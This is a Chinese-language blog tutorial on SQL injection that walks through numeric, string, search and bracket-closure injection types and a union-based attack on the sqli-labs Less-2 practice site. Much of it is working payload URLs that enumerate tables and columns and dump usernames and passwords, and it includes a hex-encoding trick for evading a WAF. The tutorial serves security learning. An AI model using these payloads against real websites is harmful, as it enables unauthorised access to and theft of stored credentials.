SQL注入—基本认识及四种简单类型

前言 有网站服务的地方就需要有数据库,SQL注入是指Web应用程序对用户输入数据的合法性没有进行判断,前端传入后端的参数是可控的或没有进行过滤的。 当带入数据库进行查询,攻击者通过构造不同的SQL语句来实现对数据库的任意操作 SQL注入的两个条件 1.参数用户可控,可以修改上传的数据 2.拼接后的SQL语句带入数据库查询 Mysql数据库特点 Mysql 5.0版本以后MySQL默认在数据库中存放一个"information_schema"的数据库,在该库中,我们需要着重注意schema,tables,columns 基本认识 1.information_schema的介绍: information_schema:MySQL自带的数据库,存储了数据库中所有的数据库、表和列信息 information_schema.tables:所有表信息 information_schema.columns:所有列信息 table_schema:数据库名称 table_name:表名称 column_name:列名称 group_concat(table_name):列出所有表名 2.基本参数: GET:GET请求的参数是放在URL里的,GET请求的URL传参有长度限制,中文需要URL编码,apache 最大为8192字符,GET直接可在URL里面修改上传参数 POST:POST请求的参数是放在body里的,没有长度限制,在POST请求里'+'和'空格'是一样,POST型只能抓包在包里修改,在BurpSuite里面可以直接显示类型 COOKIE:Cookie参数放在请求头信息,提交的时候服务器会从请求头获取参数 ##GET&POST区别:GET型使用URL提交注入数据,POST型利用抓包工具修改POST数据部分进行提交注入 3.注入常用查询系统函数: #MySQL版本 version() #数据库用户名 user() #数据库名 database() #系统用户名 system_user() #当前用户名 current_user() #当前链接数据库用户名 session_user() #数据库路径,可以判断数据库搭建框架,猜测网站www路径,后面写shell是要知道绝对路径的 @@datadir #数据库安装路径 basedir #操作系统版本 @@version_compile_os SQL注入四种简单类型 1.数字型:不存在闭合 select * from example where id=1; 2.字符型:存在闭合 select * from example where username='admin';   3.like搜索型:存在闭合 select * from example where title like '%标题%'; 4.xx型:只考虑闭合就行,根据报错信息判断 注入方式——Union联合注入法 什么是联合注入? 联合查询:select a from b union select c from d where e; 一次显示两个查询结果,可以使第一个查询语句作为正常内容,第二个作为查询语句来构造 具体步骤 1.判断注入点,考虑闭合 2.使用order语句判断列  #假如有n列,如果你的order by m,m>n:会出错,m<=n:正常执行 3.联合注入查看回显位,注意使用union时前面的语句要是错的 4.进行数据注入 判断方式 1.数值型: 先传入参数http://192.168.223.132/sqli-labs/Less-2/?id=1 出现数值 修改参数http://192.168.223.132/sqli-labs/Less-2/?id=1 and 1=2 出现报错 修改参数http://192.168.223.132/sqli-labs/Less-2/?id=-1 or 1=1 出现最初数值 id=1 and 1=2是假,传回0,所以无法出现数值,id=-1 or 1=1为真,传回1,和第一次输入一致,可判断为数值型 通过order by语句http://192.168.223.132/sqli-labs/Less-2/?id=-1 order by 3 判断出有3列, http://192.168.223.132/sqli-labs/Less-2/?id=-1 union select 1,2,3 产生回显,注意这里是-1才能回显,正常的网页回显只有一次。发现回显位为2和3位,接下来就可以通过回显位得出敏感信息 2.字符型: 先传参http://192.168.223.132/sqli-labs/Less-2/?id=1 出现数值 修改参数http://192.168.223.132/sqli-labs/Less-2/?id=1' 出现报错信息 添加注释#,查看结果http://192.168.223.132/sqli-labs/Less-2/?id=1' # 发现报错消失 ## 解释:字符型数据在传入数据库时,数据库自身给其加上单引号,如id=1在内部其实为id='1' 而修改为id=1'在传入时无法产生闭合,导致报错,而注释符使得系统添加的右半边单引号被注释,    取而代之的是我们自己添加的单引号作为右半边单引号由此产生的注入可以使得单引号和注释符之间的命令被过滤 eg:http://192.168.223.132/sqli-labs/Less-2/?id=-1' order by 3 # 随后的操作可以在'和#之间进行SQL注入 ## 如果输入#无法注释,可以考虑网站编码的问题,将#改为%23,正常POST型是#,%23无法解析,而GET型%23可以在URL里面解析 3.搜索型: ?id=1%' order by 3 # 其他操作与字符型大同小异 4.xx型: eg:输入d'-->MySQL server version for the right syntax to use near ''d'')' at line 1 去掉左边和右边的一个单引号,再去掉自己输入的d',剩下的')即为类型 判断出类型后其他操作与上述类型大同小异 总结: 第一次输入id=xxx如果报错才可以继续判断 数字型:id=1 and 1=2-->id=-1 or 1=1 字符型:1.'型 id=1'-->id=1' # (#如果不行换成%23)       2.')型 id=1')-->id=1') #       3.")型 id=1")-->id=1") # 规范化数据库查询操作调取敏感信息 1.查看当前数据库表名 # 一个一个查 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1 # 全部查出来 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() ## 解释:选择3号回显位,从所有表中列出表的名字,满足数据库的名称为当前数据库,简而言之就是列出当前数据库的所有表 2.查询当前数据库中指定表信息列数据 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() ## table_name='users'与table_name=0x7573657273 效果一致,只是将user转换成16进制,可用绕过WF      0b:二进制  0o:八进制  0x:十六进制 3.注入出数据库所有内容 union select 1,2,group_concat(id,0x7e,username,0x7e,password) from security.users  #输出id,username,password,中间以~作为分割,~的URL编码为0x7e 注入流程——以数字型为例,靶场为sqli-labs/Less-2 #1 出现数值 http://192.168.223.132/sqli-labs/Less-2/?id=1 #2 出现报错信息 http://192.168.223.132/sqli-labs/Less-2/?id=1 and 1=2 #3 发现数值和刚开始一样 http://192.168.223.132/sqli-labs/Less-2/?id=-1 or 1=1  #4 进行验证,发现报错和之前一样 http://192.168.223.132/sqli-labs/Less-2/?id=0  #5 判断列数为3 http://192.168.223.132/sqli-labs/Less-2/?id=1 order by 3  #6 判断回显位,发现为2和3 http://192.168.223.132/sqli-labs/Less-2/?id=-1 union select 1,2,3   # 注意使用union联合注入时,前面id=-1报错才能使得网页进行回显,即union前面的语句必须是错误的 #7 查看当前数据库表名 http://192.168.223.132/sqli-labs/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()  #8 查询当前数据库中指定表信息列数据 http://192.168.223.132/sqli-labs/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() #9 注入出数据库所有内容 http://192.168.223.132/sqli-labs/Less-2/?id=-1 union select 1,2,group_concat(id,0x3a,username,0x3a,password) from security.users 结语 不管什么类型,就是对SQL中各种类型的输入进行闭合测试,构造合法SQL,欺骗后台去执行        
上一篇:xss_labs通关


下一篇:BUUCTF(basic)---Linux Labs